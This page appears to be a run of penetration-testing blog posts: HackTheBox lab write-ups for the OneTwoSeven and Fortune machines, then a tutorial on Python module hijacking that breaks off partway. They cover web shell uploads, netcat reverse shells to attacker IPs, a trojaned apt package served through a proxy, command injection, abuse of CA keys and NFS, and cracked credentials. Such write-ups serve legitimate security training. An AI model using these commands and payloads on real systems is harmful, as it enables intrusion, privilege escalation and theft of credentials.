http://saiyajin:60080

Thanks to the creator of the machine, login panel is there. We don’t have to enumerate for login panel.

We have necessary credentials to move forward.

username: ots-admin
password: Homesweethome1

Okay, I’m pretty sure about what we see is admin panel. I just clicked to OTS Users before taking screenshot. There are some modules installed on panel. Uploading a plugin is disabled for security reasons. Great. This admin manager is pretty interesting. I inspected that application.

Here, my findings are:

• If you would like to run a plugin, you need to use “menu.php?addon=addons/addon-name.php” URI.
• If you would like to see content of plugin, you need to use “addon-download.php?addon=addon-name.php” URI.
• Navigating to “OTS Addon Manager” link will show that there are some rewrite rules about “addon-download.php” and “addon-upload.php” files.
• Navigating to “addon-download.php” page returns blank page.
• Navigating to “addon-upload.php” page returns “404 Not Found” page.

Also, you can read the content of ots-man-addon.php page via downloading it.

ots-man-addon.php:

So, we have to deceive the system. At my first try, it took me a while to understand.

This is how your request should look like:

We included addon-upload.php file with addon parameter of addon-download.php file. Also, we attached file to the request. Time to test it!

HTTP/1.1 302 Found
Date: Sun, 09 Jun 2019 01:51:34 GMT
Server: Apache/2.4.25 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /menu.php
Content-Length: 27
Connection: close
Content-Type: text/plain;charset=UTF-8

File uploaded successfull.y

So, our filename was onetwoseven.php. Now, we can run command with following this URL: http://saiyajin:60080/addons/onetwoseven.php?cmd=ls -la

Okay, we got shell but it is just a web shell. It’s not even active. We should acquire better shell to execute commands and enumerate the system better.

Host machine:

nc -lvp 9292

Target machine:

http://saiyajin:60080/addons/onetwoseven.php?cmd=nc+-e+/bin/sh+10.10.15.127+9292

Host machine output:

Connection from 10.10.10.133:36800

Okay, cool. We got better shell. But it’s not enough. We should beautify it more.

python -c "import pty;pty.spawn('/bin/bash')"
export TERM=linux

Finally, we gained tty shell. Second command is necessary if you would like to use clear command on your shell.

On enumeration process, I just found one cool thing. It was the output of sudo -l command. That command shows which commands are executable for current user as sudo privileges.

Matching Defaults entries for www-admin-data on onetwoseven:
    env_reset, env_keep+="ftp_proxy http_proxy https_proxy no_proxy",
    mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-admin-data may run the following commands on onetwoseven:
    (ALL : ALL) NOPASSWD: /usr/bin/apt-get update, /usr/bin/apt-get upgrade

Very nice, we can run /usr/bin/apt-get update and /usr/bin/apt-get upgrade commands with root privileges. That’s okay. So, we have to inject something to these commands. This part was pretty tricky for me. I read two articles for this part and I will share these articles at end of this blog post. You should read both of these articles. They contain very cool tricks.

If you check output of sudo -l command, you can see that there are some environment variables usable for setting your local machine as proxy server. These are:

• ftp_proxy
• http_proxy
• https_proxy
• no_proxy

Before using these variables, I decided to enumerate apt repositories on the machine.

We can check these repository list with reading sources.list file which is located at /etc/apt directory.

cat /etc/apt/sources.list

# deb cdrom:[devuan_ascii_2.0.0_amd64_netinst]/ ascii main non-free

#deb cdrom:[devuan_ascii_2.0.0_amd64_netinst]/ ascii main non-free

deb http://de.deb.devuan.org/merged ascii main
# deb-src http://de.deb.devuan.org/merged ascii main

deb http://de.deb.devuan.org/merged ascii-security main
# deb-src http://de.deb.devuan.org/merged ascii-security main

deb http://de.deb.devuan.org/merged ascii-updates main
# deb-src http://de.deb.devuan.org/merged ascii-updates main

Some of these lines are commented out. If we run apt-get update command, probably machine will try to connect that host. Then, it will try to find differences between installed application list and target package list. After reading that post, I figured out how it finds the differences.

All of these files are stored as .deb format in repository. Also, repositories have some other files for package controlling. If you would like to update an application, then you must summarize that .deb package file in three different hash format. These are:

• MD5
• SHA1
• SHA256

After doing checksum operation, you have to replace these hash values with hashes on the latest version of that Packages file. It is really necessary. Because, if you want to upgrade an application, it will compare hash values on Packages file with hash values on .deb package file. If hash values don’t match, then upgrading process fails.

Also, you have to compress the Packages file as .gz format. After compressing that file, you must do another checksumming process for both of these Packages and Packages.gz files. These hash values will be stored on Release file. Release file stores all of these Packages files that belongs to other deb applications. Therefore, Release file are stored in top of these repositories. Basically, it stores another Packages files and Packages files stores hashes of .deb packages. Another detail about repositories are sometimes these Release files can be signed with the key of authority of repository. It was a small briefing about how repositories work.

Okay, we got it. Let’s start with executing the update command.

sudo /usr/bin/apt-get update

Err:1 http://packages.onetwoseven.htb/devuan ascii InRelease
  Temporary failure resolving 'packages.onetwoseven.htb'
Err:2 http://de.deb.devuan.org/merged ascii InRelease
  Temporary failure resolving 'de.deb.devuan.org'
Err:3 http://de.deb.devuan.org/merged ascii-security InRelease
  Temporary failure resolving 'de.deb.devuan.org'
Err:4 http://de.deb.devuan.org/merged ascii-updates InRelease
  Temporary failure resolving 'de.deb.devuan.org'
Reading package lists... Done
W: Failed to fetch http://de.deb.devuan.org/merged/dists/ascii/InRelease  Temporary failure resolving 'de.deb.devuan.org'
W: Failed to fetch http://de.deb.devuan.org/merged/dists/ascii-security/InRelease  Temporary failure resolving 'de.deb.devuan.org'
W: Failed to fetch http://de.deb.devuan.org/merged/dists/ascii-updates/InRelease  Temporary failure resolving 'de.deb.devuan.org'
W: Failed to fetch http://packages.onetwoseven.htb/devuan/dists/ascii/InRelease  Temporary failure resolving 'packages.onetwoseven.htb'
W: Some index files failed to download. They have been ignored, or old ones used instead.

As you see, connection failed. Just inspect that output more careful. At first error, there is another package repository.

packages.onetwoseven.htb

If you try to connect these repositories from your browser, you can see that the one which starts with packages, it fails. Because your browser won’t recognize that hostname. Other one will redirect another URL.

deb.devuan.org

Somehow, we should make that connection possible on target machine. We know that there are some environment variables which can help at this point.

export http_proxy=http://10.10.15.127

Now, it’s time to test it.

sudo /usr/bin/apt-get update

Err:1 http://packages.onetwoseven.htb/devuan ascii InRelease
  Could not connect to 10.10.15.127:80 (10.10.15.127). - connect (111: Connection refused)
Err:2 http://de.deb.devuan.org/merged ascii InRelease
  Could not connect to 10.10.15.127:80 (10.10.15.127). - connect (111: Connection refused)
Err:3 http://de.deb.devuan.org/merged ascii-security InRelease
  Unable to connect to 10.10.15.127:http:
Err:4 http://de.deb.devuan.org/merged ascii-updates InRelease
  Unable to connect to 10.10.15.127:http:
Reading package lists... Done
W: Failed to fetch http://de.deb.devuan.org/merged/dists/ascii/InRelease  Could not connect to 10.10.15.127:80 (10.10.15.127). - connect (111: Connection refused)
W: Failed to fetch http://de.deb.devuan.org/merged/dists/ascii-security/InRelease  Unable to connect to 10.10.15.127:http:
W: Failed to fetch http://de.deb.devuan.org/merged/dists/ascii-updates/InRelease  Unable to connect to 10.10.15.127:http:
W: Failed to fetch http://packages.onetwoseven.htb/devuan/dists/ascii/InRelease  Could not connect to 10.10.15.127:80 (10.10.15.127). - connect (111: Connection refused)
W: Some index files failed to download. They have been ignored, or old ones used instead.

Good, there are some changes on the output. Probably, it tries to connect our http service. Let’s deceive it by running SimpleHTTPServer on local machine.

python2 -m SimpleHTTPServer 80

Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.133 - - [10/Jun/2019 00:32:09] code 404, message File not found
10.10.10.133 - - [10/Jun/2019 00:32:09] "GET http://packages.onetwoseven.htb/devuan/dists/ascii/InRelease HTTP/1.1" 404 -
10.10.10.133 - - [10/Jun/2019 00:32:09] code 404, message File not found
10.10.10.133 - - [10/Jun/2019 00:32:09] "GET http://de.deb.devuan.org/merged/dists/ascii/InRelease HTTP/1.1" 404 -

.... other lines ....

10.10.10.133 - - [10/Jun/2019 00:32:09] code 404, message File not found
10.10.10.133 - - [10/Jun/2019 00:32:09] "GET http://packages.onetwoseven.htb/devuan/dists/ascii/main/binary-amd64/Packages.xz HTTP/1.1" 404 -

Basically, it tries to fetch some files but these files are not stored in there. We have to build something bigger. Maybe, we should create our personal repositories with given hostnames.

At first, we should edit /etc/hosts file. We should append these lines shown below.

127.0.0.1	packages.onetwoseven.htb
127.0.0.1	de.deb.devuan.org

First step is done. Second step is creating these repositories. At that point, I created two different directories. Because update command fetches update files from two different URLs.

Here’s the directory structure:

If you check output of last update command, you will see that packages.onetwoseven.htb host uses /devuan directory and the other one uses /merged directory. We know that de.deb.devuan.org is real repository. But other one isn’t real. So, we have to fetch same files from that repository for making it real. Then, I fetched these files with wget to merged directory. Okay, we are cool with the real one.

What about the fake one?

The fake repository should be our injection directory. We have to find an application on target machine which belongs to /devuan repository. If we can find one, then we can inject code into debian application package.

Ain’t that cool? We are upgrading an application for real, then we are generating necessary release and packages files for it. Also, we are hiding our surprise for user.

Before finding that application, I removed some Release and Packages file on the real repository that we created. Because if update process can find any differences between repository and application list, then it will try to upgrade these applications too. As a result, if these applications are not stored in pool list of repo, then this process will fail.

Let’s find my precioussss….

dpkg -l | grep 'devuan'

ii  base-files                             9.9+devuan2.5                      all          Devuan base system miscellaneous files
ii  bash-completion                        1:2.1-4.3+devuan1                  all          programmable completion for the bash shell
ii  bsdutils                               1:2.29.2-1+devuan2.1               amd64        basic utilities from 4.4BSD-Lite
ii  dbus                                   1.10.22-1+devuan2                  amd64        simple interprocess messaging system (daemon and utilities)
ii  devuan-baseconf                        0.6.4+devuan2.3                    all          Devuan base config files

...

From the results, I decided to select base-files application. Because, I saw that this file is stored in that real repository. I downloaded “deb” package which has identical version of current installed application.

The real fun begins..

dpkg-deb -R base-files_9.9+devuan2.5_all.deb modified_base_files

We are extract files on the .deb file with this command. After extracting it, we navigate to /DEBIAN directory. Then, we inject our malicious code into postinst file. We selected this file because all of these lines will be executed while running /usr/bin/apt-get upgrade command.

By the way, I switched to Kali Linux at that point. Because, deb is not installed on my operating system. Also, we have to change version on /DEBIAN/control file.

After making these changes, we repack it.

dpkg-deb -b modified_base_files/ base-files_9.9+devuan2.6_all.deb

Cool! We still got some work to do. Let’s create Packages, Packages.gz and Release files.

Packages file:

md5sum base*; sha1sum base*; sha256sum base*;

output:

4889411ad723b5c6d56c7c47ad381cb7  base-files_9.9+devuan2.6_all.deb
338fc54417db2194e2023d721b065ad310fbe4cf  base-files_9.9+devuan2.6_all.deb
06a21aa67d8afc106ac14f037a7b9adeabc04e35c09b5e96057dccc2bb8a3ee3  base-files_9.9+devuan2.6_all.deb

We have to save these hashes and size value of file into Packages file as shown below.

Package: base-files
Version: 9.9+devuan2.6
Essential: yes
Installed-Size: 368
Maintainer: Evilham <devuan@evilham.com>
Architecture: all
Replaces: base, dpkg (<= 1.15.0), miscutils
Provides: base
Pre-Depends: awk
Breaks: initscripts (<< 2.88dsf-13.3), sendfile (<< 2.1b.20080616-5.2~)
Description: Devuan base system miscellaneous files
 This package contains the basic filesystem hierarchy of a Devuan system, and
 several important miscellaneous files, such as /etc/devuan_version,
 /etc/host.conf, /etc/issue, /etc/motd, /etc/profile, and others, and the text
 of several common licenses in use on Devuan systems.
Description-md5: 7271d96af8aac4f5f37c86c0f2c8cda6
Multi-Arch: foreign
Section: admin
Priority: required
Filename: pool/DEVUAN/main/b/base-files/base-files_9.9+devuan2.6_all.deb
Size: 68796
MD5sum: 4889411ad723b5c6d56c7c47ad381cb7
SHA1: 338fc54417db2194e2023d721b065ad310fbe4cf
SHA256: 06a21aa67d8afc106ac14f037a7b9adeabc04e35c09b5e96057dccc2bb8a3ee3

Packages.gz file:

gzip Packages -c > Packages.gz

Release file:

Let’s gather hash values and file sizes.

md5sum Packages*; sha1sum Packages*; sha256sum Packages*;

output:

55bd31c447c782f4836ed2238a6b066f  Packages
8def1f355c5154fe4150e821e57d8743  Packages.gz
ce136bde8a0d91766104881735ae9d4ff40df125  Packages
c3946b74c76880a4b71f147714bacbb2a47e112f  Packages.gz
445ba0fe10fcf80433e1725bb80005b69a6946464c8760ad9063dd3b7e527a51  Packages
776053770b7228e18baf41631c6c9c7c95c4d54d2edc9fca30f408f60b175ef4  Packages.gz

ls -la | grep 'Packages*'

-rw-r--r-- 1 root root  967 Haz  8 22:31 Packages
-rw-r--r-- 1 root root  634 Haz  8 22:31 Packages.gz

We need to save these hashes and size values of Packages and Packages.gz files into the Release file as shown below:

Origin: Devuan
Label: ascii
Suite: ascii
Version: 2.0.0
Codename: ascii
Date: Sat, 08 Jun 2019 01:27:04 UTC
Valid-Until: Sat, 15 Jun 2019 01:27:04 UTC
Architectures: alpha amd64 arm64 armel armhf hppa i386 ia64 mips mipsel powerpc ppc64el s390x sparc
Components: main contrib non-free raspi beaglebone droid4 n900 n950 n9 sunxi exynos
MD5Sum:
 55bd31c447c782f4836ed2238a6b066f 967 main/binary-amd64/Packages
 8def1f355c5154fe4150e821e57d8743 634 main/binary-amd64/Packages.gz
SHA1:
 ce136bde8a0d91766104881735ae9d4ff40df125 967 main/binary-amd64/Packages
 c3946b74c76880a4b71f147714bacbb2a47e112f 634 main/binary-amd64/Packages.gz
SHA256:
 445ba0fe10fcf80433e1725bb80005b69a6946464c8760ad9063dd3b7e527a51 967 main/binary-amd64/Packages
 776053770b7228e18baf41631c6c9c7c95c4d54d2edc9fca30f408f60b175ef4 634 main/Packages.gz

Everything is ready. So, we can start the show!

Let’s execute /usr/bin/apt-get update and /usr/bin/apt-get upgrade commands.

As you see, there is only one application ready to upgrade.

base-files

Connection received. But, whoami?

uid=0(root) gid=0(root) groups=0(root)

As a result of long efforts, we finally achieved to root user. Second part was really hard for me. It took nearly 2 days. I read these articles. I tried to make it work. It was a really long process. After working hard, I’ve reached to a happy ending. Also, I scored 5 out of 10 as difficult as user part. Difficulty of root part? Yeah, I scored 8 out of 10.

Thanks for reading. Cheers!

Articles:

• https://lsdsecurity.com/2019/01/linux-privilege-escalation-using-apt-get-apt-dpkg-to-abuse-sudo-nopasswd-misconfiguration/
• https://versprite.com/blog/apt-mitm-package-injection/

Everytime I’m making the same mistake. I think the best way of writing a writeup is keeping some notes about the machine that you’re trying to solve. Every time, I forget this. Therefore, I’m solving the machine again while preparing the new blog post.

So we’re starting..

Target: 10.10.10.127 [Fortune]
System: Other [OpenBSD]
Difficulty: [6.2/10]

What I learned from this machine:

• Enumeration
• More Enumeration…
• Basis of SSL Certs
• Steps of mounting NFS shares.
• Abusing the authorized_keys file.
• Analysis of PostgreSQL dump files.

Part I

At first, we will start with port enumeration.

nmap 10.10.10.127 -sC -sV -p-

Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-05 05:12 +03
Nmap scan report for 10.10.10.127
Host is up (0.084s latency).
Not shown: 65532 closed ports
PORT    STATE SERVICE    VERSION
22/tcp  open  ssh        OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey: 
|   2048 07:ca:21:f4:e0:d2:c6:9e:a8:f7:61:df:d7:ef:b1:f4 (RSA)
|   256 30:4b:25:47:17:84:af:60:e2:80:20:9d:fd:86:88:46 (ECDSA)
|_  256 93:56:4a:ee:87:9d:f6:5b:f9:d9:25:a6:d8:e0:08:7e (ED25519)
80/tcp  open  http       OpenBSD httpd
|_http-server-header: OpenBSD httpd
|_http-title: Fortune
443/tcp open  ssl/https?
|_ssl-date: TLS randomness does not represent time

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 263.14 seconds

Okay, three ports are open:

• 22
• 80
• 443

Before analyzing these ports, the machine looks like it has a web application on it.

We are continuing with connecting HTTP port via browser. When we connect to it, a simple page with some options will greet us.

If we select one of these options and submit, we can see that the application is selecting a random fortune for us.

For example:

Cool one, right?

When we analyze what is running on the background with burp tool, we are detecting “/select” endpoint. It is using POST method and “db” parameter.

At first , db parameter confused my mind. I thought there could be SQL Injection in here or something like that. For this reason, I wasted my 1 hour on it. After that, I searched these database names on Google. It led me to a github page about “Fortune Cookie Databases”. In README page, I saw OpenBSD tool named with fortune. Finally, the name of the machine started to make sense. I installed the exact tool and started to work on it.

We are running that tool with argument as db name which I saw on the web application.

fortune zippy
fortune startrek

So what it means if same system is running on the web application? Remote Code Execution!

All we had to do was append a goddamn PIPE to our db parameter all this time. I was overthinking about SQL Injection.

Next step, we are enumerating the system with privileges of _fortune user.

uid=512(_fortune) gid=512(_fortune) groups=512(_fortune)

While I was enumerating the system, I saw another application. It was sshauth.

db=zippy| ls -la ../sshauth

total 68
drwxr-xr-x  4 _sshauth  _sshauth    512 Feb  3 05:08 .
drwxr-xr-x  5 root      wheel       512 Nov  2  2018 ..
-r--------  1 _sshauth  _sshauth     61 Nov  2  2018 .pgpass
drwxrwxrwx  2 _sshauth  _sshauth    512 Nov  2  2018 __pycache__
-rw-r--r--  1 _sshauth  _sshauth    341 Nov  2  2018 sshauthd.ini
-rw-r-----  1 _sshauth  _sshauth  15006 Jun  4 17:55 sshauthd.log
-rw-rw-rw-  1 _sshauth  _sshauth      6 Jun  4 16:01 sshauthd.pid
-rw-r--r--  1 _sshauth  _sshauth   1799 Nov  2  2018 sshauthd.py
drwxr-xr-x  2 _sshauth  _sshauth    512 Nov  2  2018 templates
-rw-r--r--  1 _sshauth  _sshauth     67 Nov  2  2018 wsgi.py

If we inspect sshauthd.py file, we can see that there is another endpoint: “/generate”.

db=zippy| cat ../sshauth/sshauthd.py

Also, I checked “sshauth” directory from website. As I expected, I saw another application that we inspected and it was using /generate endpoint.

But, the problem with this application is that we can’t use /generate endpoint from this port. It redirects to 404 - Page Not Found every time. I will keep this information in my mind. Also, when we try to connect that endpoint over SSL, we can see that SSL handshake fails.

We are continuing to enumeration process.

After searching many directories, I found home directories of three users:

total 20
drwxr-xr-x   5 root     wheel    512 Nov  2  2018 .
drwxr-xr-x  13 root     wheel    512 Jun  5 11:15 ..
drwxr-xr-x   5 bob      bob      512 Nov  3  2018 bob
drwxr-x---   3 charlie  charlie  512 Nov  5  2018 charlie
drwxr-xr-x   2 nfsuser  nfsuser  512 Nov  2  2018 nfsuser

We can access to bob and nfsuser directories. The nfsuser directory doesn’t have any juicy data on it. But, we can see two interesting directories on bob’s directory.

total 48
drwxr-xr-x  5 bob   bob    512 Nov  3  2018 .
drwxr-xr-x  5 root  wheel  512 Nov  2  2018 ..
-rw-r--r--  1 bob   bob     87 Oct 11  2018 .Xdefaults
-rw-r--r--  1 bob   bob    771 Oct 11  2018 .cshrc
-rw-r--r--  1 bob   bob    101 Oct 11  2018 .cvsrc
-rw-r--r--  1 bob   bob    359 Oct 11  2018 .login
-rw-r--r--  1 bob   bob    175 Oct 11  2018 .mailrc
-rw-r--r--  1 bob   bob    215 Oct 11  2018 .profile
-rw-------  1 bob   bob     13 Nov  3  2018 .psql_history
drwx------  2 bob   bob    512 Nov  2  2018 .ssh
drwxr-xr-x  7 bob   bob    512 Oct 29  2018 ca
drwxr-xr-x  2 bob   bob    512 Nov  2  2018 dba

In dba directory, there is only one file. It is authpf.sql file. We can read its content with db=|cat /home/bob/dba/authpf.sql command.

So, this SQL queries creating new table named with “authorized_keys”. Maybe it is related to /generate endpoint.

Let’s check the ca directory.

db=|ls -la /home/bob/ca

total 56
drwxr-xr-x  7 bob  bob   512 Oct 29  2018 .
drwxr-xr-x  5 bob  bob   512 Nov  3  2018 ..
drwxr-xr-x  2 bob  bob   512 Oct 29  2018 certs
drwxr-xr-x  2 bob  bob   512 Oct 29  2018 crl
-rw-r--r--  1 bob  bob   115 Oct 29  2018 index.txt
-rw-r--r--  1 bob  bob    21 Oct 29  2018 index.txt.attr
-rw-r--r--  1 bob  bob     0 Oct 29  2018 index.txt.old
drwxr-xr-x  7 bob  bob   512 Nov  3  2018 intermediate
drwxr-xr-x  2 bob  bob   512 Oct 29  2018 newcerts
-rw-r--r--  1 bob  bob  4200 Oct 29  2018 openssl.cnf
drwx------  2 bob  bob   512 Oct 29  2018 private
-rw-r--r--  1 bob  bob     5 Oct 29  2018 serial
-rw-r--r--  1 bob  bob     5 Oct 29  2018 serial.old

We hit a jackpot!

These files can be useful for creating a valid SSL cert which necessary on port 443.

What are we looking for:

• *.ca file
• *.key and *.cert file pairs.

If we can find these files, it means that we can generate necessary SSL certificate file. With importing that SSL certificate file to our browser, we can open closed doors.

After digging more I found what I really needed in the intermediate directory.

db=|ls -la /home/bob/ca/intermediate/certs

total 32
drwxr-xr-x  2 bob  bob   512 Nov  3  2018 .
drwxr-xr-x  7 bob  bob   512 Nov  3  2018 ..
-r--r--r--  1 bob  bob  4114 Oct 29  2018 ca-chain.cert.pem
-r--r--r--  1 bob  bob  1996 Oct 29  2018 fortune.htb.cert.pem
-r--r--r--  1 bob  bob  2061 Oct 29  2018 intermediate.cert.pem

And db=|ls -la /home/bob/ca/intermediate/private

total 20
drwxr-xr-x  2 bob  bob   512 Oct 29  2018 .
drwxr-xr-x  7 bob  bob   512 Nov  3  2018 ..
-r--------  1 bob  bob  1675 Oct 29  2018 fortune.htb.key.pem
-rw-r--r--  1 bob  bob  3243 Oct 29  2018 intermediate.key.pem

So, we can read all of these cert.pem files. But we can read only intermediate.key.pem file. Therefore, we will focus on intermediate cert.

We are reading these files with RCE.

db=|cat /home/bob/ca/intermediate/private/intermediate.key.pem

Then, we are reading cert file with:

db=|cat /home/bob/ca/intermediate/certs/intermediate.cert.pem

Okay, we saved these files in our local computer. What now?

At this moment, we can’t import these files to the browser. I’m uzing Mozilla as browser. It accepts “PKCS12” or “CA” format for certificate files. So, we need to generate our cert in these formats. We got key and cert files, we should to create “PKCS12” file.

We are using openssl tool for it.

openssl pkcs12 -export -out intermediate.cert.p12 -in intermediate.cert.pem -inkey intermediate.key.pem

It will ask export password for this process. You can leave it empty or you can fill it. I used “123” as export password. Then, we can see that our signed certification file is generated.

All we have to do is import it from the browser.

For Mozilla:

1. Go to Preferences
2. Go to Privacy and Security tab.
3. Click to View Certificates button.
4. Click to Import button.
5. Select your “intermediate.cert.p12” file and import.
6. It will ask for the passphrase which you have selected before.

After these steps, you will see your imported certificate.

Also, you can get information about this certificate with double-clicking to it.

After restarting the browser, we are returning to port 443. With navigating to “https://10.10.10.127/generate” URL, we are encountering with “User Identification Request”.

Finally, we can see that we made some progress.

It’s saying that, this application created new SSH key pair. We can access to the SSH with this private key output.

1. Save private key content to a file.
2. Give necessary permission to that file. (chmod 600)
3. Try to connect SSH service with “nfsuser” user.

We connected to SSH, great! But, we can’t use any commands.

I got stuck at this part on my first attempt to solve this machine. After making some research about authpf service, I found these lines.

The authpf(8) utility is a user shell for authenticating gateways. An authenticating gateway is just like a regular network gateway (also known as a router) except that users must first authenticate themselves to it before their traffic is allowed to pass through. When a user’s shell is set to /usr/sbin/authpf and they log in using SSH, authpf will make the necessary changes to the active pf(4) ruleset so that the user’s traffic is passed through the filter and/or translated using NAT/redirection. Once the user logs out or their session is disconnected, authpf will remove any rules loaded for the user and kill any stateful connections the user has open. Because of this, the ability of the user to pass traffic through the gateway only exists while the user keeps their SSH session open.

So, with connecting to authpf service, there must be another open port. It is clear, right?

We can run nmap scan again. But, SSH username is telling something to us. NFS!! If our predictions are correct, we should check port 2049.

Let’s scan this port.

nmap -sV -p 2049 10.10.10.127 -v

Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-05 19:37 +03
NSE: Loaded 43 scripts for scanning.
Initiating Ping Scan at 19:37
Scanning 10.10.10.127 [2 ports]
Completed Ping Scan at 19:37, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 19:37
Completed Parallel DNS resolution of 1 host. at 19:37, 0.09s elapsed
Initiating Connect Scan at 19:37
Scanning 10.10.10.127 [1 port]
Discovered open port 2049/tcp on 10.10.10.127
Completed Connect Scan at 19:37, 0.07s elapsed (1 total ports)
Initiating Service scan at 19:37
Scanning 1 service on 10.10.10.127
Completed Service scan at 19:37, 6.14s elapsed (1 service on 1 host)
NSE: Script scanning 10.10.10.127.
Initiating NSE at 19:37
Completed NSE at 19:37, 0.00s elapsed
Initiating NSE at 19:37
Completed NSE at 19:37, 0.23s elapsed
Nmap scan report for 10.10.10.127
Host is up (0.063s latency).

PORT     STATE SERVICE VERSION
2049/tcp open  nfs     2-3 (RPC #100003)

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.06 seconds

Great, state of nfs port is open now. We can mount necessary shares to our local machine. Before that, we need to learn which shares are available to mount.

showmount --exports 10.10.10.127

Export list for 10.10.10.127:
/home (everyone)

It means, we can mount /home share to our local. Let’s continue.

To mount NFS share to local, these steps must be followed:

1. mkdir /mnt/fortune
2. mount -t nfs 10.10.10.127:/home /mnt/fortune
3. cd /mnt/fortune

We succeed. User access granted.

Now, we should aim for the root access.

Part II

At this moment, we should get user shell access on the machine. To achieve this goal, we should generate SSH key pair on local machine and we should put that SSH Public Key into authorized_keys on the charlie directory. If we succeed, we will be able to run codes on machine with privileges of charlie

ssh-keygen -f fortune

Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in fortune.
Your public key has been saved in fortune.pub.
The key fingerprint is:
[...REDUCTED...]
The key's randomart image is:
+---[RSA 3072]----+
|    REDUCTED 	  |
+----[SHA256]-----+

Let’s copy the content of SSH public key to the charlie’s authorized_keys file.

cat fortune.pub > /mnt/charlie/.ssh/authorized_keys

We should give necessary permission to SSH private key file.

chmod 600 fortune

Next step, connect to SSH service !

Before that I want to show you another interesting file: mbox

At first glance, I only understood this part:

BTW: I set the dba password to the same as root.

It says we should find the database password for achieving root access. When I looked at this a second time, I understood that there was an application named with pgadmin4.

Okay, we will keep that information in mind. With current privileges, we can’t enumerate the machine properly.

It’s time to connect SSH service.

ssh -i fortune charlie@10.10.10.127

We are in. As I said, we should focus to pgadmin4 service if we want to gain access as root. It took 2-3 hours for me at first time while I was solving this challenge. After enumerating the machine, we can find the directory which we searched for.

As you can see, there is a database file in this directory. Maybe, we should analyze that file. First, we have to download it.

scp -i fortune charlie@10.10.10.127:/var/appsrv/pgadmin4/pgadmin4.db .

file pgadmin4.db

pgadmin4.db: SQLite 3.x database, last written using SQLite version 3024000

That’s great! So, we can analyze that file with importing it to sqlitebrowser.

I will show important data which I found from that database file.

Keys table:

User table:

Also, I extracted password hashed from user table for both user.

charlie: $pbkdf2-sha512$25000$3hvjXAshJKQUYgxhbA0BYA$iuBYZKTTtTO.cwSvMwPAYlhXRZw8aAn9gBtyNQW3Vge23gNUMe95KqiAyf37.v1lmCunWVkmfr93Wi6.W.UzaQ
bob: $pbkdf2-sha512$25000$z9nbm1Oq9Z5TytkbQ8h5Dw$Vtx9YWQsgwdXpBnsa8BtO5kLOdQGflIZOQysAy7JdTVcRbv/6csQHAJCAIJT9rLFBawClFyMKnqKNL5t3Le9vg

Great, we gathered so many information. We can crack these hashes with two way.

1. John The Ripper
2. Using the source code of pgadmin4 app.

I don’t know how fast you can crack these hashes with John. But I’m sure it will crack them one day. You don’t have to use John.

I searched these hashes on the Google. I found a pastebin page with python script on it.

So, he is importing crypto.py file. I decided to find crypto.py file on pgadmin4 application. I found one.

I copied that file to my local and I tried the same steps with that pastebin guy.

It worked like a charm! Password is : R3us3-0f-a-P4ssw0rdl1k3th1s?_B4D.ID3A!

We should change user to root user with su root command.

After a long journey, we reached a happy ending.

See you in the next blog post!

Before we get started, I want to make some explanations.

While I was researching about manipulation of libraries, I saw that people were saying that this method looked like “DLL Hijacking”.

At First, we need to know the differences between module and library structures.

Module Hijacking

Module is a file which contains variables, functions etc. It is useful if you don’t want to put all classes in one file. Let’s assume that you created a folder named as test-project. Then, you created a.py and b.py files in it. Your project structure will look like this:

/test-project
   a.py
   b.py

Then, you decided to call a function from b.py on a.py file. The __init__.py file is necessary for marking the directories on disk as Python package directories. If you try to put module b into subdirectory you supposed to append __init__.pt file to parent directory. Without that file, importing is going to fail. It means that for linking these files you have to append __init__.py file to your structure if you want to build a package from your project.

/test-project
   a.py
   b.py
   __init__.py

Now, a.py and b.py files turned into modules. We can call functions from a on b and vice versa. By the way, it is not necessary to add __init__.py file to this examples. Finally, you added example functions to both of them.

Here’s the output of a.py.

Okay, let’s convert this situation to a scenario. We need more realistic file names.

The scenario goes like this: Root user created a cronjob script for itself to easily manage the service logs. It works at every hour.

As you can see, interface.py created by root. Sadly, we can’t modify this file.

Quick analyze of interface.py:

• It imports “manage.py” file.
• It is using three functions from “manage.py” module.
• We can’t change any line of this script.

Okay, stop reading this post for a while. Just think about what we can do with this file for achieving root privileges.

It just seems like we can only execute it.

We are done with interface.py file. It is importing manage.py file. Time has come to analyze the manage.py module.

Quick analyze of manage.py:

• The first function is creating a new file named “system_0.log”.
• The second function is changing the context of log file.
• The third function is removing the “system_0.log” file with using “os.remove()” function.
• So, it is importing “os” library.

We are going to hijack manage.py module. The first possible injection point is functions of manage.py.

We can inject our malicious code into functions. I’m selecting the “change_context_log” functions.

cmd=os.popen("id").read()
fd.write(cmd)

The second injection point is outside of functions. We know that import manage line gave access to pushing some code.

We need to inject this code to bottom of the manage module. Also, we have to write output to another file. According to code flow, injected code will run first, then functions will be executed. Hence, output file will be overwritten.

os.system('id > system_1.log');

It will give same output with the last output.

What’s next? Okay, we know that this script is working as cronjob for root user. At every hour, our injected code will work with root privileges. So, we can run privileged commands. We can even gain root shell.

Malicious Code:

os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.93 9898 >/tmp/f');

I changed the cron time to 2 minutes. After waiting, we got root shell.

Library Hijacking

I hope you understood how modules works. The difference between module and library is you don’t have to create __init__.py file for your project. Because, Python initializes these libraries on its own package directory. So, we can reach to these libraries even with “-c” parameter of Python. For example if you want to check UTC timestamp with Python on terminal, so you can call this script.

python -c "import time;print time.time()"

Also, if you want to check where are these package files are stored at, then you can run this script:

python -c "import sys;print sys.path"

As you see, I used time and sys libraries in my examples. We continue with a similar scenario.

This time, attacker does not know what’s going on at the machine. At least he is in the machine. He wants to do process monitoring for analyzing the hidden processes. And he uses pspy tool.

After running the tool, he sees that a Python script is running on the machine at every two minutes.

The adventure begins as an attacker.

